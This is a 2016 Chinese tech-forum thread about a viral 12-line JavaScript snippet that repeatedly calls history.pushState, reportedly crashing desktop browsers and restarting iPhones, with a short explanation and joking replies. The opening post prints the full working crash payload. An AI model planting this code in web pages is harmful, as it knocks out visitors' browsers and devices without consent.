外设天下 - 电脑外设发烧友聚集地

我的人缘0

12行循环JS代码:分分钟让你电脑崩溃手机重启

6 6046
楼主
跳转到指定楼层
发表于 2016-2-22 13:28 只看该作者 倒序浏览 阅读模式
最近,一段神秘的12行代码在国外社交网络上火了起来,据说能让你的浏览器瞬间崩溃,iPhone秒重启。到底是什么代码这么神奇?

上周,国外网友Cyber Security@cyber__sec在Twitter上发布了这样一段推文:



使用下面这段javascript代码,能让Firefox、Chrome、Safari浏览器崩溃,还能让iPhone重启”。

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{
total= total+i.toString ();

history.pushState (0,0,total);

}

</script>

</body>

</html>


还有人专门做成了链接(链接我就不发了)(不怕死的可以在网上找到试试,请提前保存好浏览器内容)

网友验证,如果是PC用户,内存使用率一路狂飙,浏览器会瞬间卡死;如果是手机用户,点开链接浏览器会闪退,而微博、微信内打开链接同样会闪退。如果是iPhone用户使用Safari打开之后链接,手机重启。

为什么会这样呢?

有知乎网友给出这样的解答:

“history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。”
0
已赞
微信分享 收藏
回复

使用道具 举报

我的人缘0
2
发表于 2016-2-22 15:45 只看该作者
可以  不怕死的要去试试了
回复 支持 反对

使用道具 举报

我的人缘3
3
发表于 2016-2-22 15:54 只看该作者
好像很好玩
来自苹果客户端来自苹果客户端
回复 支持 反对

使用道具 举报

我的人缘0
4
发表于 2016-2-22 18:41 只看该作者
肯定有去试的。
来自安卓客户端来自安卓客户端
回复 支持 反对

使用道具 举报

我的人缘2
5
发表于 2016-2-22 22:20 只看该作者
不知道能卡死天河二号吗
回复 支持 反对

使用道具 举报

我的人缘0
6
发表于 2016-2-24 11:28 只看该作者
简直是检验设备性能的最6方法
来自安卓客户端来自安卓客户端
回复 支持 反对

使用道具 举报

我的人缘0
7
发表于 2016-2-24 20:06 只看该作者
这个循环一看就会死机啊。。。循环100w次,就算不调用api都有计算时间,让设备假死,就不说随便调用一个吃资源的api了
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则